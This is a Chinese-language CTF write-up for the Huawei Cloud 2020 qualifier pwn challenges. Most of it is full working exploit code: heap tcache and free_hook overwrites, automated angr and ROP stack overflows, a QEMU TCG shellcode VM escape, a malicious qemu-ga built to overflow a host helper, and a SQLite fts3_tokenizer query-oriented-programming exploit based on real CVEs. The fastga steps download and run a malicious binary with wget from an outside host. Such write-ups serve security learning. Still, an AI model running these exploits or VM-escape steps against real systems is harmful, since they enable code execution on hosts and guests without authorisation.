题目源码:https://github.com/huaweictf/xctf_huaweicloud-qualifier-2020
PWN
cpp
题目存在uaf和free后输出,所以直接伪造一个unsortedbin泄露libc后tcache attack改free_hook即可。
from pwn import * context(log_level='debug') sh = process("chall") e = ELF("libc-2.31.so") gdb.attach(sh) def make_unique(idx, data): sh.sendline('0') sh.sendlineafter('> ', data) sh.sendlineafter('> ', str(idx)) sh.recvuntil('> ') def release(idx, data): sh.sendline('1') sh.sendlineafter('> ', str(idx)) ret = sh.recvuntil('> ') sh.sendline(data) sh.recvuntil('> ') return ret[:ret.find('\n')] sh.recvuntil('> ') for i in range(0, 0xc0): make_unique(i, str(i)) release(0, '\x00' * 7) leak = release(1, '\x00' * 7) heap_addr = u64(leak+'\x00\x00') print(hex(heap_addr)) release(2, p64(heap_addr + 0x58)[:7]) make_unique(0xc0, "cons") make_unique(0xc1, p16(0x501)) leak = release(3, '\x00' * 7) libc_addr = u64(leak+'\x00\x00') - 0x1ebbe0 print(hex(libc_addr)) release(6, '\x00' * 7) release(7, p64(libc_addr + e.symbols["__free_hook"])[:7]) make_unique(0xc2, "/bin/sh") make_unique(0xc3, p64(libc_addr + e.symbols["system"])[:7]) sh.sendline('1') sh.sendlineafter('> ', str(0xc2)) sh.interactive()
game
用angr过约束,并寻找相关的利用gadget以及栈长度,栈溢出,具体看exp get_addr.py
import commands def do_command(cmd_line): (status, output) = commands.getstatusoutput(cmd_line) return output def get_mid_str(data, b_str, e_str, s_pos = 0): b_pos = data.find(b_str, s_pos) if b_pos == -1: return "" b_pos += len(b_str) e_pos = data.find(e_str, b_pos) data = data[b_pos:e_pos] #print s_pos, b_pos, e_pos #print data while b_str in data: data = data[data.find(b_str)+len(b_str):] #print data return data def write_file(filename, data, mode = "wb"): file_w = open(filename, mode) file_w.write(data) file_w.close() def do_angr_conf(): tmp_file_asm = do_command("objdump -d tmp_file.bin") b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n") main_addr = get_mid_str(tmp_file_asm, " mov $0x", ",%rdi\n", b_pos - 0x80) #print main_addr b_pos = tmp_file_asm.find("%s:"%main_addr) b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos) deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos) print "start_addr =>", deal_func_addr b_pos = tmp_file_asm.find("%s:"%deal_func_addr) s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100) success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80) print "success =>", success f_b_pos = tmp_file_asm.find("leave", b_pos) fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80) print "fail =>", fail data_write = "" data_write += deal_func_addr + "\n" data_write += success + "\n" data_write += fail + "\n" write_file("angr_deal.conf", data_write) def do_pwn_conf(): rop_asm = do_command("ROPgadget --binary tmp_file.bin") rop_map = {} rop_map["p_rdi_ret"] = "pop rdi ; ret" rop_map["p_rsi_r15_ret"] = "pop rsi ; pop r15 ; ret" rop_map["ret_addr"] = "ret" rop_map["p_rbp_ret"] = "pop rbp ; ret" rop_map["set_args_addr"] = "pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret" rop_map_val = {} mov_edx_rbp_p_rbp_ret = 0 for line in rop_asm.split("\n"): items = line.split(" : ") if len(items) != 2: continue for key in rop_map.keys(): if key not in rop_map_val.keys(): if items[1] == rop_map[key]: rop_map_val[key] = int(items[0], 16) if items[1].startswith("pop rbp ; mov byte ptr [rip + ") and items[1].endswith("], 1 ; ret"): mov_edx_rbp_p_rbp_ret = int(items[0], 16) - 10 got_data = do_command("objdump -R tmp_file.bin") alarm_got = 0 for line in got_data.split("\n"): items = line.split(" ") if len(items) < 3: continue got_name = items[-1].split("@")[0] if got_name == "alarm": alarm_got = int(items[0], 16) tmp_file_asm = do_command("objdump -d tmp_file.bin") b_pos = tmp_file_asm.find(" <read@plt>:\n") read_plt = get_mid_str(tmp_file_asm, "\n", " <read@plt>:\n", b_pos - 0x18) read_plt = int(read_plt, 16) b_pos = tmp_file_asm.find(" <atoi@plt>:\n") atoi_plt = get_mid_str(tmp_file_asm, "\n", " <atoi@plt>:\n", b_pos - 0x18) atoi_plt = int(atoi_plt, 16) b_pos = tmp_file_asm.find(" <read@plt>\n") #print tmp_file_asm[b_pos-0x100:b_pos+0x10] rbp_val = get_mid_str(tmp_file_asm, " lea ", "(%rbp),%rax", b_pos - 0x100) #print rbp_val rbp_val = int(rbp_val.strip(), 16) print "rbp:", hex(rbp_val) data_write = "" data_write += "0x%x\n"%rop_map_val["p_rdi_ret"] data_write += "0x%x\n"%rop_map_val["p_rsi_r15_ret"] data_write += "0x%x\n"%rop_map_val["ret_addr"] data_write += "0x%x\n"%rop_map_val["p_rbp_ret"] data_write += "0x%x\n"%mov_edx_rbp_p_rbp_ret data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1) data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1 - 0x1a) data_write += "0x%x\n"%alarm_got data_write += "0x%x\n"%read_plt data_write += "0x%x\n"%atoi_plt data_write += "%s\n"%hex(rbp_val).replace("L", "").replace("l", "") write_file("do_pwn_next.conf", data_write) def do_work(): do_angr_conf() do_pwn_conf() do_work()
angr_deal.py
import angr from angr import * #from simuvex.procedures.stubs.UserHook import UserHook binary_path = "./tmp_file.bin" stack_addr = 0 def get_mem(state, addr, size): mem = state.memory.load(addr, size) #print mem return state.se.eval(mem) def gen_cond(state, index): """Returns a symbolic BitVector and contrains it to printable chars for a given state.""" bitvec = state.se.BVS('c%d'%index, 8, explicit_name=True) return bitvec, state.se.And(bitvec >= 0x0, bitvec <= 0xff) def read_file(filename, mode = "rb"): file_r = open(filename, mode) data = file_r.read() file_r.close() return data def write_file(filename, data, mode = "wb"): file_w = open(filename, mode) file_w.write(data) file_w.close() def run_angr(): #proj = angr.Project(binary_path, load_options={'auto_load_libs': False}) proj = angr.Project(binary_path)#, load_options={'auto_load_libs': False}) data = read_file("angr_deal.conf") if len(data) > 0: items = data.split('\n') start_addr = int(items[0], 16) success = (int(items[1], 16), ) fail = (int(items[2], 16), ) print (start_addr) print (success) print (fail) print hex(start_addr) print hex(success[0]) print hex(fail[0]) else: start_addr = 0x400B57 success = (0x400C45, ) fail = (0x400C6C, ) #""" initial_state = proj.factory.blank_state(addr = start_addr) r_edi = initial_state.se.BVS('edi', 32) initial_state.regs.edi = r_edi pg = proj.factory.simgr(initial_state, immutable=False) pg.explore(find=success, avoid=fail) found_state = pg.found[0] result = found_state.se.eval(r_edi) print hex(result) write_file("passcode.conf", "%d"%result) exit(0) run_angr()
aeg_pwn.py
from zio import * is_local = True is_local = False binary_path = "./no" libc_file_path = "" #libc_file_path = "./libc.so.6" ip = "127.0.0.1" port = 2333 if is_local: target = binary_path else: target = (ip, port) def d2v_x64(data): return l64(data[:8].ljust(8, '\x00')) def d2v_x32(data): return l32(data[:4].ljust(4, '\x00')) def rd_wr_str(io, info, buff): io.read_until(info) io.write(buff) def rd_wr_int(io, info, val): rd_wr_str(io, info, str(val) + "\n") def get_io(target): r_m = COLORED(RAW, "green") w_m = COLORED(RAW, "blue") #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path}) return io def write_file(filename, data, mode = "wb"): file_w = open(filename, mode) file_w.write(data) file_w.close() import commands def do_command(cmd_line): (status, output) = commands.getstatusoutput(cmd_line) return output def read_file(filename, mode = "rb"): file_r = open(filename, mode) data = file_r.read() file_r.close() return data set_args_addr = 0x400d2a call_func_addr = 0x400d10 def gen_rop(func_got, arg1, arg2 = 0, arg3 = 0, ret_addr = None): global set_args_addr, call_func_addr #set_args_addr payload = "" payload += l64(set_args_addr) payload += l64(0) #pop rbx = 0 payload += l64(1) #pop rbp payload += l64(func_got) #pop r12 payload += l64(arg3) #pop r13 payload += l64(arg2) #pop r14 payload += l64(arg1) #pop r15 if ret_addr != None: payload += l64(ret_addr) else: payload += l64(call_func_addr) return payload def do_pwn_next(io): global set_args_addr, call_func_addr p_rdi_ret = 0x0000000000400d33 p_rsi_r15_ret = 0x0000000000400d31 p_rbp_ret = 0x400B55 ret_addr = 0x0000000000400b31 mov_edx_rbp_p_rbp_ret = 0x4008E8 #adc [rbp+48h], edx read_plt = 0x00000000004007e0 alarm_got = 0x0000000000602038 atoi_plt = 0x400800 data = read_file("do_pwn_next.conf") val_list = [] for line in data.strip().split("\n"): val_list.append(int(line, 16)) print hex(int(line, 16)) p_rdi_ret = val_list[0] p_rsi_r15_ret = val_list[1] ret_addr = val_list[2] p_rbp_ret = val_list[3] mov_edx_rbp_p_rbp_ret = val_list[4] set_args_addr = val_list[5] call_func_addr = val_list[6] alarm_got = val_list[7] read_plt = val_list[8] atoi_plt = val_list[9] rbp_add_val = val_list[10] bss_addr = 0x00601000 + 0xa00 pre_payload = "" pre_payload += 'a'*(0-rbp_add_val) pre_payload += 'b'*8 payload = "" payload += l64(p_rdi_ret) + l64(0) payload += l64(p_rsi_r15_ret) + l64(bss_addr)*2 payload += l64(read_plt) payload += gen_rop(bss_addr, 0, 0, 0x5) payload += gen_rop(bss_addr, 0, 0, 0x5)[:-8] payload += l64(p_rbp_ret) + l64(alarm_got - 0x48) payload += l64(mov_edx_rbp_p_rbp_ret) * 2 #set rax = 0x3b payload += l64(p_rdi_ret) + l64(bss_addr + 0x20 + 0*2) payload += l64(atoi_plt) #execve("/bin/sh", 0, 0) payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0) #payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)[:-8] payload += "\n" #io.gdb_hint() #print repr(payload) print hex(len(payload)) payload = pre_payload + payload print payload[:-1].find("\n") #io.gdb_hint() io.write(payload) #raw_input(":") import time time.sleep(0.5) payload = "" payload += l64(ret_addr) payload += "/bin/sh\x00".ljust(0x18, '\x00') payload += "59\x00" payload += "\n" io.write(payload) time.sleep(0.5) io.writeline("id") io.writeline("ls -al") io.writeline("cat flag 2>&1") io.writeline("exit") io.interact() def pwn(io): io.read_until("------------------data info------------------\n") data = io.read_until("\n").strip() data = data.decode("base64") print(len(data)) write_file("tmp_file.bin", data) #print repr(data.decode("base64")[:4]) io.read_until("code:") do_command("chmod +x tmp_file.bin") do_command("python get_addr.py") do_command("python angr_deal.py") data = read_file("passcode.conf") #do_command("rm tmp_file.bin luckynum.conf") data = data.strip() io.writeline(data) do_pwn_next(io) io.interact() io = get_io(target) pwn(io) exit(0)
fastexec
漏洞成因
新增fastexec
设备,其结构体如下
typedef struct { PCIDevice pdev; MemoryRegion mmio; uint64_t execed; uint64_t offset; uint64_t size; uint64_t paddr; char buf[0x100000]; } FastexecState;
漏洞非常明显,给了选手基于设备结构体地址的任意地址写入
static void fastexec_mmio_write(void *opaque, hwaddr addr, uint64_t val,
unsigned size)
{
FastexecState *fastexec = opaque;
if (size != 8) {
return;
}
switch (addr) {
case 0x08:
fastexec->offset = val;
break;
case 0x10:
fastexec->size = val;
break;
case 0x18:
fastexec->paddr = val;
break;
case 0x20:
if ((val == 0xf62d) && (fastexec->execed == 0)) {
cpu_physical_memory_read(fastexec->paddr, fastexec->buf + fastexec->offset, fastexec->size);
fastexec->execed = 1;
}
break;
}
return;
}
漏洞利用
Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区,这块内存是RWX的。
-
对于已经翻译的代码块,如果其未修改,Qemu会将其放置在该区域并缓存
-
对该区域写入SHELLCODE(加上滑板),会在Qemu调用这块缓存代码时触发shellcode执行
fastexec结构体的内存是通过mmap分配的,其与TCG代码缓冲区内存地址相近,因此考虑攻击TCG代码缓冲区。 核心利用代码如下
int main() {
srand(time(NULL));
struct stat file_info;
for (size_t idx = 0; idx < 0x20; idx ++) {
resource_path[idx] = dev_get_path_from_id(0x4399, 0x4399, idx);
fds[idx] = open(resource_path[idx], O_RDWR | O_SYNC);
if (fds[idx] != -1) {
int ret = stat(resource_path[idx], &file_info);
MAP_SIZEs[idx] = file_info.st_size;
void * map_try = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fds[idx], 0);
if (map_try == (void *)-1) {
printf("fd[%lu] --> pmio, size --> %016lx\n", idx, MAP_SIZEs[idx]);
mmios[idx] = 0;
}
else {
mmios[idx] = 1;
printf("fd[%lu] --> mmio, size --> %016lx\n", idx, MAP_SIZEs[idx]);
munmap(map_try, 0x1000);
}
}
}
void *info = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void *pages[100];
for (size_t i = 0; i < 100; i ++) {
pages[i] = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(pages[i], '\x90', 0x1000);
for(size_t j = 0x400; j < 0x1000; j += 0x300) {
memcpy((char *)pages[i] + j, shellcode, sizeof(shellcode));
}
printf("%lx\n", virt2phys(pages[i]));
}
memset(info, '\x90', 0x1000);
size_t start = 0xffff;
for (size_t i = 0; i < 100 - 8; i ++) {
size_t fail = 0;
size_t phys[8];
phys[0] = virt2phys(pages[i]);
for (size_t j = 1; j < 8; j ++) {
phys[j] = virt2phys(pages[i+j]);
if (phys[j] - phys[j - 1] != 0x1000) {
fail = 1;
break;
}
}
if (fail == 0) {
start = i;
}
}
printf("%lx\n", start);
assert (start != 0xffff);
do_write(virt2phys(pages[start]), 0xffffffffbcf00000, 0x8000);
return 0;
}
fastga
漏洞成因
宿主机使用了GAHelper程序对qemu-guest-agent的返回进行处理,并与之交互。 GAHelper遵循了qemu-guest-agent的api规范,同时客户机内的默认qemu-ga是官方的qga客户端程序。 攻击者可以使用自定义的qemu-ga程序发送不符合api规范的报文返回给GAHelper,从而造成GAHepler崩溃以及任意代码执行。 本题提出了一个新的攻击面,该攻击面包含了vm-tools在vmware中造成的虚拟机逃逸,以及qga在qemu虚拟机中的虚拟机逃逸风险,是CTF比赛中的首次创新。
漏洞细节
guest-file-read
的api约定如下
Command: guest-file-read Read from an open file in the guest. Data will be base64-encoded Arguments: handle: int filehandle returned by guest-file-open count: int (optional) maximum number of bytes to read (default is 4KB) Returns: GuestFileRead on success. Since: 0.15.0
首先,GAHelper认为,读取的文件长度必定小于制定的长度,以及返回的count必定是真实文件读取长度。
cJSON *read_root = cJSON_CreateObject();
cJSON *read_arguments = cJSON_CreateObject();
cJSON_AddItemToObject(read_root, "execute", cJSON_CreateString("guest-file-read"));
cJSON_AddItemToObject(read_arguments, "handle", cJSON_CreateNumber(handle_id));
cJSON_AddItemToObject(read_arguments, "count", cJSON_CreateNumber(0x1000));
cJSON_AddItemToObject(read_root, "arguments", read_arguments);
char *tmp = cJSON_Print(read_root);
if (tmp == NULL) {
cJSON_Delete(read_root);
free(file_path);
return;
}
char *read_info = SendCommandReadRet(tmp);
从而造成了缓冲区溢出的漏洞
char b64dec_buf[0x1000] = {0};
if (buf_b64 != NULL) {
base64_decode(buf_b64, strlen(buf_b64), b64dec_buf);
printf( "content: %s\n", b64dec_buf);
}
尽管base64解码会缩短返回串长度,但是依然会造成栈溢出漏洞。
GuestFileRead *guest_file_read_unsafe(GuestFileHandle *gfh,
int64_t count, Error **errp)
{
GuestFileRead *read_data = NULL;
guchar *buf;
FILE *fh = gfh->fh;
size_t read_count;
/* explicitly flush when switching from writing to reading */
if (gfh->state == RW_STATE_WRITING) {
int ret = fflush(fh);
if (ret == EOF) {
error_setg_errno(errp, errno, "failed to flush file");
return NULL;
}
gfh->state = RW_STATE_NEW;
}
if (count == 0x1000) { //payload 1
size_t syscall_addr = 0x000000000040a14c;
size_t pop_rdi = 0x0000000000400636;
size_t pop_rsi = 0x000000000040ea95;
size_t pop_rdx = 0x0000000000454595;
size_t pop_rax = 0x000000000045453c;
guchar *payload = g_malloc0(0x2070);
memset(payload, '\x00', 0x2070);
*(size_t *)(payload + 0x1078) = pop_rdi;
*(size_t *)(payload + 0x1080) = 0;
*(size_t *)(payload + 0x1088) = pop_rsi;
*(size_t *)(payload + 0x1090) = 0x6caff0;
*(size_t *)(payload + 0x1098) = pop_rdx;
*(size_t *)(payload + 0x10a0) = 0x100;
*(size_t *)(payload + 0x10a8) = 0x454580; //read
*(size_t *)(payload + 0x10b0) = pop_rdi;
*(size_t *)(payload + 0x10b8) = 0x6caff0;
*(size_t *)(payload + 0x10c0) = pop_rsi;
*(size_t *)(payload + 0x10c8) = 0;
*(size_t *)(payload + 0x10d0) = pop_rdx;
*(size_t *)(payload + 0x10d8) = 0;
*(size_t *)(payload + 0x10e0) = pop_rax;
*(size_t *)(payload + 0x10e8) = 59;
*(size_t *)(payload + 0x10f0) = syscall_addr;
read_data = g_new0(GuestFileRead, 1);
read_data->count = 0x10f8;
read_data->eof = 0;
int cnt = 0x10f8;
read_data->buf_b64 = g_base64_encode(payload, cnt);
return read_data;
}
攻击者只需要伪造这个api实现函数,忽视读取长度,就可以实现栈溢出攻击。
攻击步骤
替换qemu-ga
杀死qga进程 kill -9 pidof qemu-ga
下载恶意qga wget ip:port/qemu-ga
植入恶意qga ./qemu-ga --daemonize -m virtio-serial -p /dev/vport0p1
执行supervisor程序
from pwn import *
local=0
pc=''
aslr=True
context.log_level="debug"
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p)
else:
remote_addr=['127.0.0.1', 10007]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s):
print('\033[1;31;40m{s}\033[0m'.format(s=s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
ru("sock num > ")
sn(str(sys.argv[1]))
ru("Exit\n")
pause()
sl("2")
ru("size > ")
sl("256")
ru("path > ")
sn("/etc/passwd")
ru("content: \n")
sn("/bin/sh\x00")
p.interactive()
flag{FastGA is module for Malicious qemu-ga attacking supervisor, not hard ~aha~?}
mysqli
漏洞
通过对比一下所给的 sqlite3.c 和 sqlite3_patch.c,可以发现做了如下两处修改:两处修改分别还原了 CVE-2017–6991和 CVE-2015–7036。
从patch我们可以看到,这个是和
fts3_tokenizer
有关的漏洞。fts3
是sqlite
的一个不安全的特性,如果开启我们就直接劫持SQLite的控制流或者直接leak出sqlite
的binary address。
select hex(fts3_tokenizer("simple")); //leak
select fts3_tokenizer("simple", x'4141414141414141'));
create virtual table vt using fts3 (content TEXT); // control flow hijack
如果我们可以执行任意的sql 查询, 那么这个题目会很简单。但是从附件中的cmd
我们知道,我们只能上传一个数据库,然后server会在这个数据库查询一句:
select world from hello;
因此我们要利用query oriented programming
来完成这个利用, 这个技术的思想是通过view
的会改变原来的查询语句来完成类似于rop
的功能。利用步骤如下:
-
leak出堆地址和binary的地址
-
伪造一个假的
tokenizer
-
覆盖
tokenizer
,劫持控制流
利用
具体详见exp。
import os
import random
import string
import sqlite3
#from pwn import *
def gen_int2hex_map():
conn.execute("CREATE TABLE hex_map (int INTEGER, val BLOB);")
for i in range(256):
conn.execute("INSERT INTO hex_map VALUES ({}, x'{}');".format(i, ''.join('%02x' % i)))
def math_with_const(output_view, table_operand, operator, const_operand):
return "CREATE VIEW {} AS SELECT ( (SELECT * FROM {} ) {} ( SELECT '{}') ) as col;".format(output_view,table_operand, operator,const_operand)
def p64(output_view, input_view):
return """CREATE VIEW {0} AS SELECT cast(
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / 1) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 8)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 16)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 24)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 32)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 40)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 48)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 56)) % 256)) as blob) as col;""".format(output_view, input_view)
def u64(output_view, input_view):
return """CREATE VIEW {0} AS SELECT (
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -1, 1)) -1) * (1 << 0))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -2, 1)) -1) * (1 << 4))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -3, 1)) -1) * (1 << 8))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -4, 1)) -1) * (1 << 12))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -5, 1)) -1) * (1 << 16))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -6, 1)) -1) * (1 << 20))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -7, 1)) -1) * (1 << 24))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -8, 1)) -1) * (1 << 28))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -9, 1)) -1) * (1 << 32))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -10, 1)) -1) * (1 << 36))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -11, 1)) -1) * (1 << 40))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -12, 1)) -1) * (1 << 44))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -13, 1)) -1) * (1 << 48))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -14, 1)) -1) * (1 << 52))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -15, 1)) -1) * (1 << 56))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -16, 1)) -1) * (1 << 60)))) as col;""".format(output_view, input_view)
def fake_obj(output_view, ptr_list):
if not isinstance(ptr_list, list):
raise TypeError('fake_obj() ptr_list is not a list')
from_string = [i.split(".")[0] for i in ptr_list if not i.startswith("x")]
print(from_string)
from_string[0] = "FROM " + from_string[0]
ptrs = "||".join(ptr_list)
return """CREATE VIEW {0} AS SELECT {1} {2};""".format(output_view, ptrs, " JOIN ".join(from_string))
def heap_spray(output_view, spray_count, sprayed_obj):
return """CREATE VIEW {0} AS SELECT replace(hex(zeroblob({1})), "00", (SELECT * FROM {2}));""".format(output_view, spray_count, sprayed_obj)
def flip_end(output_view, input_view):
return """CREATE VIEW {0} AS SELECT
SUBSTR((SELECT col FROM {1}), -2, 2)||
SUBSTR((SELECT col FROM {1}), -4, 2)||
SUBSTR((SELECT col FROM {1}), -6, 2)||
SUBSTR((SELECT col FROM {1}), -8, 2)||
SUBSTR((SELECT col FROM {1}), -10, 2)||
SUBSTR((SELECT col FROM {1}), -12, 2)||
SUBSTR((SELECT col FROM {1}), -14, 2)||
SUBSTR((SELECT col FROM {1}), -16, 2) AS col;""".format(output_view, input_view)
def gen_dummy_DDL_stmt(stmt_len):
table_name = "".join(random.choice(string.ascii_lowercase) for i in range(6))
base = ("CREATE TABLE {} (a text)".format(table_name))
assert len(base) < stmt_len
ret = "CREATE TABLE {} (a{} text)".format(table_name, 'a' * (stmt_len - len(base)))
return ret
def patch(db_file, old, new):
assert (len(old) == len(new))
with open(db_file, "rb") as rfd:
content = rfd.read()
offset = content.find(old)
assert (offset > 100) # offset found and bigger then sqlite header
patched = content[:offset] + new + content[offset + len(old):]
with open(db_file, "wb") as wfd:
wfd.write(patched)
if __name__ == "__main__":
DB_FILENAME = 'malicious.db'
os.system("rm %s" % DB_FILENAME)
SIMPLE_MODULE_OFFSET = str(0x15c3a0)
SYSTEM_ADDRESS = str(0xe8d0)
gadget = str(0x40E62) # call qword ptr [rax + 0x18]
gadget2 = str(0x607f9) # mov rdi, rax ; call qword ptr [rax + 0x80]
# HEAP_OFFSET = str(0xb32fb0 + 0x20 + 0x70)
HEAP_OFFSET = str(0xb85a80 + 0x6e480 + 0x80)
conn = sqlite3.connect(DB_FILENAME)
conn.execute("PRAGMA page_size = 65536;") # long DDL statements tend to split with default page size.
gen_int2hex_map()
qop_chain = []
print("[+] Generating binary leak statements")
qop_chain.append('CREATE VIRTUAL TABLE leak_table USING FTS3(col);')
qop_chain.append('INSERT INTO leak_table VALUES("haha");')
qop_chain.append('CREATE VIEW raw_heap_leak AS SELECT leak_table AS col FROM leak_table;')
qop_chain.append('CREATE VIEW le_heap_leak AS SELECT hex(col) AS col FROM raw_heap_leak;')
qop_chain.append(flip_end('heap_leak', 'le_heap_leak'))
qop_chain.append(u64('u64_heap_leak', 'heap_leak'))
qop_chain.append(math_with_const('u64_heap_spray', 'u64_heap_leak', '+', HEAP_OFFSET))
qop_chain.append('CREATE VIEW le_bin_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;')
qop_chain.append(flip_end('bin_leak', 'le_bin_leak'))
qop_chain.append(u64('u64_bin_leak', 'bin_leak'))
print("[+] Generating offsets calculation statements")
qop_chain.append(math_with_const('u64_libsqlite_base', 'u64_bin_leak', '-', SIMPLE_MODULE_OFFSET))
qop_chain.append(math_with_const('u64_system_plt', 'u64_libsqlite_base', '+', SYSTEM_ADDRESS))
qop_chain.append(math_with_const('u64_gadget', 'u64_libsqlite_base', '+', gadget))
qop_chain.append(math_with_const('u64_gadget2', 'u64_libsqlite_base', '+', gadget2))
qop_chain.append(p64('p64_system_plt', 'u64_system_plt'))
qop_chain.append(p64('p64_gadget', 'u64_gadget'))
qop_chain.append(p64('p64_gadget2', 'u64_gadget2'))
qop_chain.append(p64('p64_heap', 'u64_heap_spray'))
print("[+] Generating Heap Spray statements")
payload_list = []
siz = 0x100
payload = 'T'*siz
for i in range(0, siz, 8):
s = "x'%s'" % payload[i: i + 8].encode('hex')
payload_list.append(s)
cmd = "cat fl*\x00"
payload_list[0] = "x'%s'" % cmd.encode('hex')
payload_list[1] = ("p64_gadget.col")
payload_list[3] = ("p64_gadget2.col")
payload_list[16] = ("p64_system_plt.col")
qop_chain.append(fake_obj('fake_tokenizer', payload_list))
qop_chain.append(heap_spray('heap_spray', 100000, 'fake_tokenizer'))
qop_chain.append("create virtual table exploit using fts3(col, tokenize = 'simple');")
qop_chain.append("create virtual table trigger using fts3(col, tokenize = 'simple');")
qop_chain.append("drop table exploit_content;")
overwrite_view = "overwrite_simple_tokenizer"
qop_chain.append("create view %s(col) as select fts3_tokenizer(\"simple\", p64_heap.col) from p64_heap;" % overwrite_view)
qop_chain.append("create view exploit_content(docid, c0col) as select 0 , (select col from trigger where col match 'xxxx');")
overwrite_sql = "select * from %s" % overwrite_view
qop_chain.append("create view hello(world) as select ((select * from heap_spray) + (select * from overwrite_simple_tokenizer) + (select * from exploit));")
print("[+] Generating dummy DDL statements to be patched")
dummies = []
for q_stmt in qop_chain:
conn.execute(q_stmt)
conn.commit()
print("[+] All Done")
miniobs
背景
对象存储服务(Object Storage Service,OBS)是一个基于对象的海量存储服务,为客户提供海量、安全、高可靠、低成本的数据存储能力。 go语言的栈溢出之前有出过类似的3道题目,都是修改的返回地址。这里想使用一个新的利用点(其实差别也不大أ‿أ)。 本题基于以上两点,使用go实现了一个mini版的OBS Browser+,包含3个功能,查看桶信息、上传文件到桶、查看桶文件内容。
赛题逻辑
由于官网提供了go语言的sdk,所以实现起来比较方便。 一、查看桶信息(就是个查看功能,和利用无关) 二、上传文件到桶,这里的逻辑是:
1·输入你想上传的文件名称 2·将输入的内容拷贝到栈上 3·过滤掉.防止路径穿越(也许有别的绕过方法?) 4·将输入的文件名称和/tmp/拼接作为实际获取的文件 5·随机生成RSA密钥对,使用公钥加密上传文件内容并保存在/tmp目录下 6·将加密的上传文件上传到OBS桶上
三、查看桶文件内容,输入你想要访问的桶文件名称,输出文件内容。 四、后门upload函数,这个上传文件函数和上述的功能区别在于:
1、没有过滤. 2、会把加密的密钥输出
利用思路
1、memcpy函数存在溢出,输入的文件名称会拷贝到一个32字节长度的栈变量上,这里会导致栈溢出。 2、go的栈地址固定,同一系统多次运行栈地址相同(实际测试会有两种情况),所以我们可以通过第一次溢出的panic报错信息泄露栈地址。 3、溢出后会由于open文件错误导致panic,也就是到不了返回地址。这里可以思考使用defer函数指针,defer是go语言提供的关键字,类似于finish,即使执行panic函数,里面也会去遍历defer表执行。具体调用链为gopanic->runOpenDeferFrame->reflectcallSave,reflectcallSave的第二个参数就是执行函数指针。 4、在距离栈变量偏移0x160的位置就是defer的函数指针,覆盖该地址值为栈地址,同时在该栈地址上写上后门函数地址,即可跳到后门函数执行,这里有一个问题,在修改的地址范围内需要修复一个memmove函数的参数,在偏移0x100的地方。 5、利用../home/pwn/flag路径穿越可以将flag文件加密上传到obs桶上,并且会输出密钥,利用3功能获取加密文件内容再使用RSA解密即可得到flag。
exp
decrypt.go
